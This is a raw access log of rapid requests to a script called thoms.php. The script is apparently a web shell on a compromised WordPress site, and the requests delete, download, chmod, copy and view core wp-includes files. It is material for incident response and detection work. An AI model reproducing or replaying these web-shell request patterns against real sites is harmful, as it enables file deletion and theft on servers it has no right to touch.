45.135.193.11 - - [11/Sep/2026:23:09:13 -0400] "GET /thoms.php?chmod=media.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:13 -0400] "GET /thoms.php?del=class-wp-locale-switcher.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-locale-switcher.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:13 -0400] "GET /thoms.php?del=sitemaps.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=sitemaps.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:14 -0400] "GET /thoms.php?dl=vars.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=vars.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:14 -0400] "GET /thoms.php?del=css&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=css&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:14 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11830 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:14 -0400] "GET /thoms.php?chmod=class-wp-object-cache.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-object-cache.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:14 -0400] "GET /thoms.php?dl=connectors.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=connectors.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:15 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=post.php HTTP/1.1" 200 95681 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:14 -0400] "GET /thoms.php?dl=feed-rss2.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=feed-rss2.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:15 -0400] "GET /thoms.php?del=block-patterns&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57877 "http://163.245.207.76:443/thoms.php?del=block-patterns&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:15 -0400] "GET /thoms.php?chmod=bookmark-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=bookmark-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:15 -0400] "GET /thoms.php?del=class-walker-nav-menu.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57956 "http://163.245.207.76:443/thoms.php?del=class-walker-nav-menu.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:15 -0400] "GET /thoms.php?del=class-wp-post.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-post.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:15 -0400] "GET /thoms.php?dl=class-wp-user-meta-session-tokens.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:16 -0400] "GET /thoms.php?chmod=class-wp-dependency.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependency.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:16 -0400] "GET /thoms.php?del=ms-deprecated.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:16 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-scripts.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:16 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 200 12869 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:16 -0400] "GET /thoms.php?del=class-wp-hook.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:16 -0400] "GET /thoms.php?dl=class-wp-http-proxy.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57908 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-proxy.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:17 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:16 -0400] "GET /thoms.php?dl=class-wp-theme-json-resolver.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-resolver.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-scripts.php HTTP/1.1" 200 22284 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:17 -0400] "GET /thoms.php?dl=class-json.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-json.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:17 -0400] "GET /thoms.php?del=class-wp-theme-json-data.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57932 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json-data.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-widget.php HTTP/1.1" 200 17261 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-widget.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:17 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=deprecated.php HTTP/1.1" 200 66159 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:17 -0400] "GET /thoms.php?dl=class-wp-view-config-data.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57936 "http://163.245.207.76:443/thoms.php?dl=class-wp-view-config-data.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:18 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=block-template.php HTTP/1.1" 200 18590 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:18 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:18 -0400] "GET /thoms.php?dl=class-requests.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-requests.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:18 -0400] "GET /thoms.php?chmod=class-wp-user.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:18 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11856 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ffeed.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:18 -0400] "GET /thoms.php?chmod=l10n.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=l10n.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:18 -0400] "GET /thoms.php?chmod=rss.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11503 "http://163.245.207.76:443/thoms.php?chmod=rss.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:18 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fimages HTTP/1.1" 200 17820 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:19 -0400] "GET /thoms.php?chmod=class-wp-block-metadata-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-metadata-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:18 -0400] "GET /thoms.php?dl=meta.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57890 "http://163.245.207.76:443/thoms.php?dl=meta.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:19 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Ferror-protection.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Ferror-protection.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:18 -0400] "GET /thoms.php?del=block-bindings.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=block-bindings.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=functions.wp-styles.php HTTP/1.1" 200 14560 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=functions.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:19 -0400] "GET /thoms.php?dl=functions.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57898 "http://163.245.207.76:443/thoms.php?dl=functions.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-template.php HTTP/1.1" 200 12542 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:19 -0400] "GET /thoms.php?del=ms-blogs.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:19 -0400] "GET /thoms.php?del=bookmark-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=bookmark-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:19 -0400] "GET /thoms.php?chmod=class-wp-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-wp-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:19 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=fonts.php HTTP/1.1" 200 14944 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=fonts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:20 -0400] "GET /thoms.php?chmod=bookmark.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=bookmark.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:20 -0400] "GET /thoms.php?del=general-template.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57909 "http://163.245.207.76:443/thoms.php?del=general-template.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:20 -0400] "GET /thoms.php?del=class-http.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?del=class-http.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:20 -0400] "GET /thoms.php?del=class-wp-site-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57882 "http://163.245.207.76:443/thoms.php?del=class-wp-site-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:20 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fdefault-widgets.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:20 -0400] "GET /thoms.php?del=class-wp-user-meta-session-tokens.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:20 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-default-constants.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fms-default-constants.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php HTTP/1.1" 200 13717 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-url-pattern-prefixer.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2Fblock-supports HTTP/1.1" 200 16218 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2Fblock-supports" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:21 -0400] "GET /thoms.php?dl=script-modules.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=script-modules.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:21 -0400] "GET /thoms.php?dl=theme.json&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57912 "http://163.245.207.76:443/thoms.php?dl=theme.json&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:21 -0400] "GET /thoms.php?chmod=class-wp-meta-query.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:21 -0400] "GET /thoms.php?dl=class-walker-nav-menu.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57911 "http://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes%2FID3 HTTP/1.1" 200 15618 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes%2FID3" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:21 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:21 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php HTTP/1.1" 200 13011 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=class-wp-block-bindings-source.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:22 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=l10n.php HTTP/1.1" 200 29006 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:22 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes&view=media-template.php HTTP/1.1" 200 29235 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:22 -0400] "GET /thoms.php?dl=class-wp-block-parser-frame.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:22 -0400] "GET /thoms.php?dl=class-wp-http-curl.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57910 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-curl.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:09:22 -0400] "GET /thoms.php?chmod=class-wp-block-styles-registry.php&p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
